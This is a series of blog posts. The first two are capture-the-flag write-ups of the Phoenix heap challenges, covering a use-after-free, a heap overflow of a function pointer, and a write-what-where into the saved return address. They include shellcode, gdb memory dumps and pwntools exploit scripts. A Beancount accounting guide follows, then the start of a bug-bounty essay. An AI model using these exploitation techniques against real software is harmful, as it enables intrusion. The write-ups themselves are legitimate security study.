Phoenix - Heap exploitation part 2

Sun, 26 Jun 2022 00:00:00 +0000

In my previous blog post I have discussed challenges ‘heap-zero’ and ‘heap-one’ of phoenix, today I will continue with heap exploitation and write about ‘heap-two’.

Heap-two

In this challenge we have a program that is executing an infinite loop, asking for user input.

In the program there is a structure defined as:

struct auth {
  char name[32];
  int auth;
};

and then two global variables:

struct auth *auth;
char *service;

The code offers 4 different options for the user:

auth STRING, malloc is used to allocate memory for a new auth structure, and then this memory is set to 0. If the STRING is shorter than 31 bytes, this string will be copied to to the name field.
reset, it will free the memory pointed by the auth variable.
service STRING, will use strdup to duplicate STRING somewhere in memory (heap memory).
login, if the auth structure is not empty AND the auth field is set, it will print you have logged in already!, otherwise it will print enter your password. The objective of the challenge is to get the first message printed.

Exploit Strategy

We can see the available options as follows:

auth STRING = set auth variable to the malloc value
service STRING = set a string in memory of length > 32
reset = free the memory pointed by auth

The exploitation will rely on the fact that the login function doesn’t check whether auth was freed before, will just check that the value pointed by it is not null, and that the auth+32 is also set.

The main problem is that nowhere in the code the auth field of the auth structure is set, so we will need to:

Allocate auth, this will get value X
Free auth. Note that the auth variable will still point at the same location.
Use service to place a string longer than 32 bytes in memory. This will use heap and since the previous chunk has been free’d, it will go at the same value of auth.
login. The auth variable points now to the region where the service string is. As long as the string is not null and the value at offset 32 (corresponding to the auth field of auth struct) is not null, login will succeed.

Exploit Analysis

This is a UAF vulnerability, where freed memory is used because the pointers are not updated.

The exploit will work as follows:

gef➤  run
Starting program: /home/user/heap-two/heap-two 
Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth A
[ auth = 0x600e40, service = 0 ]

first, an auth structure is set, and we can see it points to 0x600e40.

If we have a look at the memory we see:

gef➤  x /40dwx 0x600e40
0x600e40:	0x00000a41	0x00000000	0x00000000	0x00000000
0x600e50:	0x00000000	0x00000000	0x00000000	0x00000000 <-- end of name
0x600e60:   --> 0x00000000<-int 0x00000000	0x00000000	0x00000000

We can see 0a41 (our A plus a CR) at the beginning of a 32 bytes area, and the byte at offset 32 is set to 0.

login
please enter your password
[ auth = 0x600e40, service = 0 ]

We can now free the memory and allocate a service string.

reset
[ auth = 0x600e40, service = 0 ]
service BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
[ auth = 0x600e40, service = 0x600e40 ]

We can see that at this point auth and service point to the same location, because the auth pointer has not been updated once the free was executed.

If we check the memory once again we see:

gef➤  x /40dwx 0x600e40
0x600e40:	0x42424220	0x42424242	0x42424242	0x42424242
0x600e50:	0x42424242	0x42424242	0x42424242	0x42424242
0x600e60:   --> 0x00000a42<-int 0x00000000	0x00000000	0x00000000

The byte at offset 32 is now set to value 0a42, or 420a, considering the endiannes, which is some value.

At this point, the login will succeed, as the check

if (auth && auth->auth)

will be true:

login
you have logged in already!
[ auth = 0x600e40, service = 0x600e40 ]

Phoenix - Heap exploitation part 1

Sat, 25 Jun 2022 00:00:00 +0000

I want to provide some writeups for the excellent Phoenix challenges. There are plenty of writeups for these exercises, but you don’t know if you truly understood something until you try to explain it to someone else, so here I am trying to do just that.

Introduction

I am fairly comfortable with Stack and Format string exploitation, so at the moment I will focus my attention to the part where I am most lacking: heap exploitation.

I will also attempt the challenges for amd64 as this architecture presents few additional challenges that I see many people bypassed in writeups going for the 32-bit versions (mostly, lots of null-bytes in addresses).

Heap-zero

The first challenge is very straightforward:

We have two functions declared, nowinner and winner. The first is called, and we need to call the second. The program uses two structures, one consisting of a 64bytes array and the second of a function pointer plus some padding.

In the main function the following happens:

Two structures (one of each type) are declared
A malloc call is used to initialize the data structure
A malloc call is used to initialize the second structure
The function pointer of the second structure is set to the nowinner function
strcpy is used, without boundary check, to copy the command line argument into the first structure
The function pointer of the second structure is used to invoke the function

Exploit Strategy

The exploit idea is simple: we need to overwrite the data of the second structure, so that the function pointer rather than being the address of nowinner will be the address of winner.

To do that, we can leverage the strcpy call, as we control the command line argument.

First, let’s observe the memory layout:

b *0x0000000000400b4e

We set a breakpoint just before the strcpy, then we run the program with just a few “A”s.

strcpy@plt (
   $rdi = 0x00007ffff7ef6010 → 0x0000000000000000,
   $rsi = 0x00007fffffffe7a9 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
   $rdx = 0x00007fffffffe7a9 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
   $rcx = 0x00007ffff7da5e14 → <mmap64+133> cmp rax, 0xffffffffffffffff
)

We see that the arguments seem to be more or less what we expected. The first argument (rdi) is the destination where the string is going to be copied, while the second argument (rsi) is the source string that will be copied.

If we now jump to the next line of code (with u) we reach just after strcpy returned.

At the target memory we have what we expected:

gef➤  x /40dwx 0x7ffff7ef6010
0x7ffff7ef6010:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6020:	0x41414141	0x41414141	0x41414141	0x00414141
0x7ffff7ef6030:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6040:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6050:	0x00000000	0x00000000	0x00000051	0x00000000
0x7ffff7ef6060:	0x00400ace	0x00000000	0x00000000	0x00000000
0x7ffff7ef6070:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6080:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6090:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef60a0:	0x00000000	0x00000000	0x000fff61	0x00000000

We can see that our As are copied to the address that was in rdi. The data structure was 64 bytes, and we can see that we filled approximately half the buffer. After 64 bytes we have 16 bytes of metadata, and then the next chunk (where the second structure is allocated) begins.

We can also see a value 0x00400ace at byte 0x7ffff7ef6060. This is the address of nowinner:

gef➤  p nowinner
$2 = {<text variable, no debug info>} 0x400ace <nowinner>

We could just overflow the buffer with 64 + 16 bytes, reach the function pointer and overwrite it with our winner function. Unfortunately, there is a problem in this case, and the problem is that our winner function is at address:

gef➤  p winner
$3 = {<text variable, no debug info>} 0x400abd <winner>

This address contains not only a null byte (in reality 5 null bytes, but in this case as the memory is conveniently set to 0, it is not a problem), but also a byte 0x0a. This will be replaced by strcpy with a null byte, and will stop copying the string.

In fact, we can first attempt this trivial solution to verify that we can control rip:

gef➤  run $(python -c 'print "A"*80 + "\xbd\x0a\x40"')
[...]
gef➤  x /40dwx 0x7ffff7ef6010
0x7ffff7ef6010:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6020:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6030:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6040:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6050:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6060:	0x004000bd	0x00000000	0x00000000	0x00000000

After the strcpy call, we can verify that the function pointer was correctly overwritten, but the value is 0x004000bd. In fact, strcpy stopped working after the 0a, and the 40 byte is correct just because the nowinner function also has value 40 in that position.

Continuing the execution crashes as expected with:

gef➤  c
Continuing.
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x4000bd

Program received signal SIGSEGV, Segmentation fault.
0x00000000004000bd in ?? ()

Redirecting Control

The good news from the previous attempt is that we control rip, so we can redirect execution where we want. The binary has no protections whatsoever, so we have multiple choices.

The way I chose is to write a simple shellcode that will do the following:

push the address of winner to stack
execute ret

The ret instruction will just take the top of the stack and put it in the rip. Since we specifically pushed (i.e. placed on top of the stack) the address of winner, this function will be executed.

However, this shellcode cannot have null (or 0a) bytes either. To avoid null bytes I have the done the following:

[SECTION .text]
global _start
_start:
	mov rax, 0xffffffffff511bce ; rax = 0x400abd + ffffffffff111111
        sub rax, 0xffffffffff111111 ; rax = 0xffffffffff511bce - ffffffffff111111 = 0x400abd
        push rax ; push rax to the stack
	ret

Now all it’s left is to build the shellcode and extract the opcodes:

user@phoenix-amd64:~/heap-zero$ nasm shellcode.asm -f elf64
user@phoenix-amd64:~/heap-zero$ ld -o shellcode shellcode.o
user@phoenix-amd64:~/heap-zero$ echo "\"$(objdump -d shellcode | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""
"\x48\xc7\xc0\xce\x1b\x51\xff\x48\x2d\x11\x11\x11\xff\x50\xc3

The final strategy will be the following:

Place the shellcode in the first buffer
Add padding until the function pointer to overwrite
Overwrite the function pointer with the address of the buffer

We know that the first buffer is at 0x7ffff7ef6010, and we know that to overwrite the function pointer we need 80 bytes, therefore the exploit will be the following:

from pwn import *

context.arch = 'amd64'

data =  0x7ffff7ef6010
shellcode = "\x48\xc7\xc0\xce\x1b\x51\xff\x48\x2d\x11\x11\x11\xff\x50\xc3"

buf = shellcode
buf += "A"*(80-len(buf))
buf += p64(data)

print buf

Running heap-zero with the printed buffer result in the level to be completed.

./heap-zero $(python exploit.py)
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x7ffff7ef6010
Congratulations, you have passed this level

Heap-one

In the next challenge we are in a slightly more complex situation.

In the code we see that a structure is declared, having an int (priority) and a pointer to string (name) as fields. The winner function is once again declared but not called anywhere.

The main function does the following:

declare two instances of the structure
use malloc to initialize the first structure
set priority to 1 (struct 1)
use malloc to initialize the name of the first structure
use malloc to initialize the second structure
set priority to 2 (struct 2)
use malloc to initialize the name of the second structure
use strcpy (without boundary check) to copy the first command line argument into name of the first structure
use strcpy (without boundary check) to copy the second command line argument into name of the second structure
use printf

Let’s first observe the data structures of the binary during a normal execution.

We place a breakpoint right before the puts (printf in the code) call and then run the program.

gef➤  b *0x0000000000400ae7
Breakpoint 1 at 0x400ae7
gef➤  run AAAAAAAA BBBBBBBB
Starting program: /home/user/heap-one/heap-one AAAAAAAA BBBBBBBB

Observing the memory in the heap we see the following:

gef➤  search-pattern AAAA
[+] Searching 'AAAA' in memory
[+] In (0x7ffff7ef6000-0x7ffff7ff6000), permission=rwx
  0x7ffff7ef6030 - 0x7ffff7ef6038  →   "AAAAAAAA" 
  0x7ffff7ef6034 - 0x7ffff7ef6038  →   "AAAA" 
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
  0x7fffffffe7b9 - 0x7fffffffe7c1  →   "AAAAAAAA" 
  0x7fffffffe7bd - 0x7fffffffe7c1  →   "AAAA" 
gef➤  x /40dwx 0x7ffff7ef6030-48
0x7ffff7ef6000:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6010:	0x00000001	0x00000000	0xf7ef6030	0x00007fff
0x7ffff7ef6020:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6030:	0x41414141	0x41414141	0x00000000	0x00000000
0x7ffff7ef6040:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6050:	0x00000002	0x00000000	0xf7ef6070	0x00007fff
0x7ffff7ef6060:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6070:	0x42424242	0x42424242	0x00000000	0x00000000
0x7ffff7ef6080:	0x00000000	0x00000000	0x000fff81	0x00000000
0x7ffff7ef6090:	0x00000000	0x00000000	0x00000000	0x00000000

We can clearly see that the name of the two structures is filled with As and Bs, but we can also see the following heap structure:

8 bytes of 0s
--- First chunk ---
0x21 (size 32 for prev chunk) (8 bytes)
0x1 (priority of struct 1) (8 bytes)
0x7ffff7ef6030 (pointer to name of struct 1) (8 bytes)
8 bytes of 0s
--- Second chunk ---
0x21 (size 32 for prev chunk) (8 bytes)
name (struct 1) (8 bytes)
16 bytes of 0s
--- Third chunk ---
0x21 (size 32 for prev chunk) (8 bytes)
0x2 (priority of struct 2) (8 bytes)
0x7ffff7ef6070 (pointer to name of struct 2) (8 bytes)
8 bytes of 0s
--- Fourth chunk ---
0x21 (size 32 for prev chunk) (8 bytes)
name (struct 2) 8 bytes

In particular, it’s important to stress the behavior of strcpy calls:

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

The first call will take the first command line argument and place it at the address pointed by name. This address at this point is the return value from malloc, we do not control it (0x7ffff7ef6030). The second call will take the second command line argument and place it at the address pointed by name (struct 2). We do not control this address either, but, we do have a strcpy operation without boundary checks that will write before this pointer.

Exploit Strategy

Building on what was discussed so far, the exploit strategy will be the following:

Fill the struct 1 name
Overflow the buffer until the name pointer for struct 2 is overwritten

This is essentially a write primitive, as strcpy will place for us what we put in the second command line argument, at the address pointed by the value we will overflow the pointer with.

The payload is roughly as follows:

JUNK + WRITE_ADDRESS + WRITE_CONTENT

With a write primitive, one reasonable strategy could be to overwrite a PLT entry (for example for puts, as this function is called right after in the code) with the address of the winner function. This strategy is what for example this writeup highlights, and it’s also the first thing that I thought. Unfortunately, I also faced the same challenge of the author of that writeup, namely that we have a lot of null bytes in the address we need to overwrite (puts address).

=> 0x0000000000400ae7 <+170>:	call   0x400840 <puts@plt>

gef➤  x /3i 0x400840
   0x400840 <puts@plt>:	jmp    QWORD PTR [rip+0x20398a]        # 0x6041d0 <puts@got.plt>
   0x400846 <puts@plt+6>:	push   0x5
   0x40084b <puts@plt+11>:	jmp    0x4007e0

The address of puts in the GOT is at 0x6041d0, but unfortunately, the data we are overwriting is initially:

0xf7ef6070      0x00007fff

If we just skip the null bytes at the beginning, we will obtain 0x7fff004007e0, not 0x00000000004007e0.

We can try this approach just to prove the correctness of our reasoning:

gef➤  run $(python -c 'print "A"*40+"\xe0\x07\x40"') BBBBBBB
Starting program: /home/user/heap-one/heap-one $(python -c 'print "A"*40+"\xe0\x07\x40"') BBBBBBB

Breakpoint 2, 0x0000000000400add in main ()

strcpy@plt (
   $rdi = 0x00007fff004007e0,
   $rsi = 0x00007fffffffe7c3 → 0x0042424242424242 ("BBBBBBB"?),
   $rdx = 0x00007fffffffe7c3 → 0x0042424242424242 ("BBBBBBB"?)
)

Indeed we see that strcpy will try to write at 0x00007fff004007e0 our “B”s.

In order to circumvent this issue, I decided to change approach and rather than overwriting a GOT entry, overwrite some value on the stack.

If we set a breakpoint on the ret instruction of the main function, we see that the stack has the following setup:

gef➤  run AAAAAAA BBBBBBB
Starting program: /home/user/heap-one/heap-one AAAAAAA BBBBBBB
and that's a wrap folks!

Breakpoint 3, 0x0000000000400af2 in main ()

0x00007fffffffe4e8│+0x0000: 0x00007ffff7d8fd62  →  <__libc_start_main+54> mov edi, eax	 ← $rsp
0x00007fffffffe4f0│+0x0008: 0x0000000000000000
0x00007fffffffe4f8│+0x0010: 0x00007fffffffe530  →  0x0000000000000003
0x00007fffffffe500│+0x0018: 0x0000000000000000
0x00007fffffffe508│+0x0020: 0x00007ffff7ffdbc8  →  0x00007ffff7ffdbc8  →  [loop detected]
0x00007fffffffe510│+0x0028: 0x0400000100003e00
0x00007fffffffe518│+0x0030: 0x0000000000400909  →   nop DWORD PTR [rax+0x0]
0x00007fffffffe520│+0x0038: 0x0000000000000000

The top of the stack is at 0x00007fffffffe4e8 and it’s the value that will go in the rip next:

stepi

[#0] 0x7ffff7d8fd62 → __libc_start_main()

Note that this value will change depending on the length of our command line arguments, as those values will determine the stack size as well. Therefore, in order to get the final value, we should run the program with arguments of the same length of our payload. For example, running with arguments A and B we get 0x00007fffffffe4f8.

What we can do then is the following:

Fill the buffer
Overwrite the name pointer with the address of the main return address
Write at that address one address that points to an area we control (for example, the name of the first structure)

Once main will return, the value in the saved return address will be placed in rip, and this will redirect control to our buffer.

The payload then will look roughly as follows:

SHELLCODE + PAD + SAVED_RETURN + ADDR_OF_SHELLCODE

Note that the address of winner has once again a 0a byte:

0x400af3

If that was not the case, we could try to overwrite the save return pointer with the address of winner directly.

Final Exploit

At this point we have all the pieces for the exploit:

The address for the buffer where we can place the shellcode is at 0x7fffffef6030
The stack address we want to overwrite is 0x7fffffffe4c8 - as we can see with a 40/8 bytes command line arguments.

We are missing just the shellcode, which would be extremely similar to the one for heap-zero:

[SECTION .text]
global _start
_start:
	mov rax, 0xFFFFFFFFFF511C04 ; rax = 0x400af3 + 0xFFFFFFFFF111111
        sub rax, 0xFFFFFFFFF111111  ; rax = 0xFFFFFFFFFF511C04 - 0xFFFFFFFFF111111 = 0x400af3
        push rax ; push rax
	ret

We build the shellcode and extract the opcodes:

"\x48\xc7\xc0\x04\x1c\x51\xff\x48\x2d\x11\x11\x11\xff\x50\xc3"

Finally, we can assemble the exploit:

# -*- coding: utf-8 -*- 
# run $(python exploit.py) $(python -c 'print "\x30\x60\xef\xf7\xff\x7f\x00\x00"')
from pwn import *

context.arch = 'amd64'

data =  0x7fffffef6030
rbp = 0x7fffffffe4c8

shellcode = "\x48\xc7\xc0\x04\x1c\x51\xff\x48\x2d\x11\x11\x11\xff\x50\xc3"

buf = shellcode
buf += "A"*(40-len(buf))
buf += p64(rbp)

print buf

This script will print only the first argument, we need the second argument (the “what” to write, i.e. the address of the buffer - data variable).

Analysis

In order to better understand why the exploit works, we can walk through the code.

We set three breakpoints:

gef➤  b *0x0000000000400ac4
Breakpoint 1 at 0x400ac4
gef➤  b *0x0000000000400add
Breakpoint 2 at 0x400add
gef➤  b *0x0000000000400af2
Breakpoint 3 at 0x400af2

Right after the first strcpy, right before the second strcpy, and right before the ret of main.

Then, we run the program:

gef➤  run $(python exploit.py) $(python -c 'print "\x30\x60\xef\xf7\xff\x7f\x00\x00"')
Starting program: /home/user/heap-one/heap-one $(python exploit.py) $(python -c 'print "\x30\x60\xef\xf7\xff\x7f\x00\x00"')

After the first strcpy we can see that the overflow already happened, and the pointer to name of struct 2 has been correctly overwritten:

gef➤  x /100dwx 0x7ffff7ef6030-48
0x7ffff7ef6000:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6010:	0x00000001	0x00000000	0xf7ef6030	0x00007fff
0x7ffff7ef6020:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6030:	0x04c0c748	0x48ff511c	0x1111112d	0x41c350ff
0x7ffff7ef6040:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6050:	0x41414141	0x41414141  --> 0xffffe4c8	0x00007fff <---
0x7ffff7ef6060:	0x00000000	0x00000000	0x00000021	0x00000000
0x7ffff7ef6070:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6080:	0x00000000	0x00000000	0x000fff81	0x00000000

That will be the where to write, and it’s the stack address that holds the saved return pointer for the main function:

0x00007fffffffe4a0│+0x0000: 0x00007fffffffe518  →  0x00007fffffffe778  →  "/home/user/heap-one/heap-one"	 ← $rsp
0x00007fffffffe4a8│+0x0008: 0x00000003ffffe538
0x00007fffffffe4b0│+0x0010: 0x00007ffff7ef6050  →  0x4141414141414141
0x00007fffffffe4b8│+0x0018: 0x00007ffff7ef6010  →  0x0000000000000001
0x00007fffffffe4c0│+0x0020: 0x0000000000000003	 ← $rbp
0x00007fffffffe4c8│+0x0028: 0x00007ffff7d8fd62  →  <__libc_start_main+54> mov edi, eax
0x00007fffffffe4d0│+0x0030: 0x0000000000000000
0x00007fffffffe4d8│+0x0038: 0x00007fffffffe510  →  0x0000000000000003

Right now it’s not the top of the stack, but we can see that it points somewhere in __libc_start_main.

Continuing the execution, we reach breakpoint 2, right before the second strcpy call, which right now is our write primitive.

strcpy@plt (
   $rdi = 0x00007fffffffe4c8 → 0x00007ffff7d8fd62 → <__libc_start_main+54> mov edi, eax,
   $rsi = 0x00007fffffffe7c4 → 0x4c007ffff7ef6030,
   $rdx = 0x00007fffffffe7c4 → 0x4c007ffff7ef6030
)

We can see that it’s trying essentially to do

*0x00007fffffffe4c8 = 0x007ffff7ef6030

We do not need to worry about the first “dirty” 4c byte, as strcpy will stop copying at the first null byte.

If we check what we have at 0x007ffff7ef6030, we can see our shellcode.

gef➤  x /5i 0x00007ffff7ef6030
   0x7ffff7ef6030:	mov    rax,0xffffffffff511c04
   0x7ffff7ef6037:	sub    rax,0xffffffffff111111
   0x7ffff7ef603d:	push   rax
   0x7ffff7ef603e:	ret    
   0x7ffff7ef603f:	rex.B

In reality this is just the beginning of name for struct 1

0x7ffff7ef6030:	0x04c0c748	0x48ff511c	0x1111112d	0x41c350ff
0x7ffff7ef6040:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6050:	0x41414141	0x41414141	0xffffe4c8	0x00007fff
0x7ffff7ef6060:	0x00000000	0x00000000	0x00000021	0x00000000

After the strcpy call (jumping it with u) we see that:

0x00007fffffffe4c8│+0x0028: 0x00007ffff7ef6030  →  0x48ff511c04c0c748	 ← $rax, $rdi

The value is set correctly, so now we can once again continue and reach our third breakpoint.

Here we can see that the overwritten item is on top of the stack, and if we step one instruction:

stepi

$rip   : 0x00007ffff7ef6030  →  0x48ff511c04c0c748

rip now points at our shellcode, continuing the execution will trigger the winner function.

gef➤  c
Continuing.
Congratulations, you've completed this level @ 1656192533 seconds past the Epoch

The program really crashes after, we could modify the shellcode to include a call to exit(0) if we wanted to avoid the crash and be perfectionists.

How to manage your finances with Beancount

Sun, 24 Apr 2022 00:00:00 +0000

For those who don’t know, Beancount is one of the few tools that exist to do the so-called “plaintext accounting”. Plaintext accounting is a way to perform usual accounting tasks with tools that work on plaintext files, and in some occasions (Beancount being one example) using command line tools.

Some advantages include extreme simplicity in keeping/moving/exporting/transfering/converting the data, since it’s just text in a file. It’s also very easy (and fast) to manage years worth of data and it’s much easier to build additional tooling around such systems, as they do expose some level of API (for Beancount there is a SQL-like interface) and when they don’t, it’s just a matter of manipulating strings.

Overall, I like to have my entire accounting history one command away in my terminal, I like to be able to easily merge ‘stuff’ from different sources (for example banks) and I am used to edit files efficiently in Vim, so plaintext accounting sounded the right choice for me.

How Beancount works

The official Beancount documentation makes for sure a better job than I can do to introduce the tool, but I will try to give just a general idea.

All it is needed to have beancount working is a ‘ledger’ file, this is the file where pretty much everything is: the account definition, the transactions, price updates etc.

As Beancount is a double-entry bookeeping system, we have accounts for everything, for example your salary might ‘come’ from an account called income:mycompany:salary while the money you spend in plastic dinosaurs will go to expenses:hobby:dinos.

There are 5 types of accounts: income, equities, liabilities, expenses and assets. For details on what each account type represents it’s much better to consult the related documentation.

Now, in our ledger we will have to:

Declare some options (such as the ledger name, the default currency, etc.)
Open the accounts
Create a baseline (usually using equities) for the current state of the assets
Add transactions

A new ledger might look like the following:

* Options ; Beancount options

option "title" "Test Ledger"
option "operating_currency" "EUR"

; Accounts 

2022-01-01 open Assets:Bank:Personal:Checking EUR
2022-01-01 open Assets:Bank:Shared:Checking EUR
2022-01-01 open Assets:Bank:Personal:Saving EUR
2022-01-01 open Assets:Bank:Personal:Investing EUR
2022-01-01 open Assets:Cash EUR
2022-01-01 open Liabilities:Bank:HouseLoan EUR
2022-01-01 open Income:Salary EUR
2022-01-01 open Income:Bank:Interests EUR
2022-01-01 open Income:Gifts EUR
2022-01-01 open Expenses:Trip EUR
2022-01-01 open Expenses:Food:Groceries EUR
2022-01-01 open Expenses:House EUR
2022-01-01 open Expenses:House:Utilities EUR
2022-01-01 open Expenses:Bank:DebitCardFee EUR
2022-01-01 open Equity:Opening-Balances

2022-01-01 * "Opening Balances" 
    Assets:Bank:Personal:Checking 0 EUR
    Assets:Bank:Personal:Saving 1000 EUR
    Assets:Bank:Shared:Checking 300 EUR
    Liabilities:Bank:HouseLoan -100000 EUR
    Equity:Opening-Balances

The content should be self-explainatory, but first some options are declared (the name and currency), then there are a few statements that ‘open’ the accounts we want to use, and finally an initial transaction that adds money to our accounts (the last leg of the transaction is to say ‘everytihing comes from equity’).

From this point on, every transaction will need to balance, money should come from one account (income accounts in general) and should go to other accounts.

The Struggle of Keeping it in sync

Let’s now talk about the problems. Most of the banks offer minimal, if any, tools to export transaction data from their websites. Usually the export is some heavily formatted CSV or some PDF. The problem with keeping a separate ledger then is that every transaction needs to be ‘backported’ to it, which sorts of encourage you to think ‘the hell with it, I will just use the bank’s website’. The problem comes when you start having multiple accounts in possibly multiple banks, some financial institutions (for example some stock broker) etc. If this is the case, then it’s much harder to keep the overview of where money are going (usually we do know where they come from).

I once read someone writing that ‘inserting transactions should be painful or boring’, the idea being that having to enter every transaction individually in an accounting system helps building awareness of how the money are being spent. I do agree with this to a certain degree, but I want to stress the ‘awareness’ part reducing the ‘I have to type a lot’ part as well.

Living in Estonia, cash is non-existent for me, which means that every single purchase I do, online or in a store, big or small, is done via a debit/credit card. This translates very concretely in a lot of transactions, which means a lot of typing, which means a lot of temptation to keep the ledger out of sync and use the bank’s website.

My Workflow

How do I manage to have an up-to-date ledger (for 2.5 years and counting!) then? Well, part of it is just habit and will, but making the maintance a bit easier helped quite a lot.

Automation First

Before dealing with everything else, I built some automation. My main account(s) is in Swedbank, one of the major banks in Estonia, and to address the problems described earlier, I wanted the following:

Minimal configuration
Ability to digest the CSV as it is downloaded from Swedbank site
Ability to automatically associate certain transactions with Beancount accounts
Necessity to still enter the transactions somewhat individually to be aware of the expenses

For this, I built a simple (very simple) tool called swed2beancount, which does…well, exactly what I wanted to do.

Using this tool, it takes approximately 5 minutes to import data from Swedbank accounts into my ledger, and on average I have to specify the account for only 20-30% of the transactions.

In the final section I will describe what my update routine looks like.

Regular Updates

This is trivial, but updating the ledger at intervals very distant from each other will have two main effects for me:

I will rely solely on automation, too much to check individually
More probability of making mistakes and having to debug

For me, 2 weeks is the perfect period in between updates. It is short enough that the amount of transactions is usually manageable, but long enough that I don’t need to ‘waste’ a session for just few transactions.

Use the Assert Function

Initially I was not even aware of this functionality, and when I became aware of it, I didn’t understand the use of it. That was before a mistake of a sign sent me to a debugging journey into more than year of transactions.

An assert transaction is a very simple statement such as:

2022-01-05 balance Assets:Bank:Checking    112.01 EUR

All it does is stating that at a given date an account has a specific balance. After every update, I always end my ledger with an assertion for the balance of all the bank accounts. This way, whatever happens next, I know that I have to check for errors in at most 2 weeks (or as much time passed from the last update) worth of data.

The only problem is that sometimes there are transactions that were pending the day that the update was done, or other similar cases. Assertion are always done ‘at the beginning of the day’, so if there are 2 transactions on 5th of January, and 3 the next day, an assertion on 6th of January will count only the first 2 transactions, while an assertion on 5th of January will not count any of those. This is a feature, not a problem, but needs to be taken into account when using assertions.

Granularity of Accounts

When starting with plaintext accounting, it’s easy to go deep into the rabbit hole:

2022-01-01 open Expenses:Trip:Italy EUR

Becomes:

2022-01-01 open Expenses:Trip:Italy EUR
2022-01-01 open Expenses:Trip:Italy:Driving:Car EUR
2022-01-01 open Expenses:Trip:Italy:Driving:Fuel EUR
2022-01-01 open Expenses:Trip:Italy:Driving:Insurance EUR
2022-01-01 open Expenses:Trip:Italy:Activities:Museums EUR
2022-01-01 open Expenses:Trip:Italy:Activities:Fun EUR
2022-01-01 open Expenses:Trip:Italy:Eating:Restaurants EUR
2022-01-01 open Expenses:Trip:Italy:Eating:IceCreams EUR
2022-01-01 open Expenses:Trip:Italy:... EUR

Basically since the system allows for fine-grain accounts, we want order in our lives and we start creating way more details than are needed. I am guilty of this and I have learned my lesson.

With this, I am not saying that it is wrong to add details, but that you should add details when you need them. In my case, for example, I had absolutely no use to know that I spent X for restaurants and Y for activities, as it’s not something that can help me plan for the future. Similarly, it’s enough to use transaction descriptions to understand the cost of the car (Rental + fuel + etc.) to decide if next time I would use the train or choose a different car/company/etc.

The important bit is understanding the tradeoff: more details lead to potentially deeper analysis, but have a higher maintaince costs. Usually the expenses need to be categorized manually, sometimes they will need to be divided into multiple legs etc. If the additional maintance overhead is not giving you any benefit, then it’s clearly not worth.

What an Update Session Looks Like

To conclude this post I want to show what one of my update sessions looks like. As I have mentioned, I will update my ledger every 2 weeks usually.

My folder structure looks like this:

├── importer
│   ├── mappings.yaml
│   ├── account1
│   │   └── config.yaml
│   └── account2
│       └── config.yaml
└── ledger.beancount

First, I go to the Swedbank site, and dump the simple CSV for every account I have (usually I take the current year, whatever is faster).
Then I move the downloaded CSVs in the respective folders in the importer directory.
I then edit the config.yaml file with the dates I am interested in. In general I import from a couple of days before the last import until the present day (leaving it blank works). The configuration file looks like the following:

ledger: "../../ledger.beancount"
mappings_file: "../mappings.yaml"
output_file: "import.beancount"
from_date: "2022-04-01"

Finally, in each account directory I run a command such as swed2beancount -a "Assets:Bank:Checking" This command basically is saying to process a given CSV and assume that one leg of the transaction is always the one specified.

The previous command generates an output file (with the name specified), with only the transactions related to the importing period. If any of the transactions has UNCATEGORIZED as account, it means that there was no mapping defined for the amount/date/description/payee. In general, if I know that a similar transaction will happen again in the future, I add a matching rule in the mappings.yaml file, otherwise, I just edit the account manually.

Once the transactions are all complete (all legs are existing accounts), I append this file to the main ledger, I add a comment (such as “Updated on DD/MM/YYYY”) and an assertion.

Visualizing the Result

After any update (or whenever I want) I also run fava on my main ledger. This is a web interface for beancount that makes exploring the data quite convenient and visually pleasing. Fava can automatically update the data when the ledger is modified, so it’s possible to have it running continuously and simply syincing the ledger (through a repository, with a script, etc.), if you want to have your personal dashboard always active.

Conclusion

Beancount, and in general plaintext accounting, allows full flexibility in how you want to manage your finances. Building tooling and automation around open formats is much easier compared to usual banks, and it’s possible to manipulate the data in countless ways. Personally, using Beancount has increased my awareness on my expenses and has greatly helped in financial planning and cost saving. Plus, you get the pleasure of Vim-editing your ledger, how cool is that (and of course, a plugin exist)!

About Bug Bounties

Sun, 17 Apr 2022 00:00:00 +0000

A bug bounty program is a deal in which companies (usually medium-large) offer rewards (in most cases monetary) to people who responsibly disclose and report bugs or -in the context of this article- vulnerabilities related to their systems or infrastructure. This phenomena has seen a relatively big increase in the last years and it is expected to grow even more in the upcoming 5-10 years. In this article, I will try to explore some of the implications of these programs, both from the technical and -most importantly- the political point of view.

The Benefits of Bug Bounties Programs

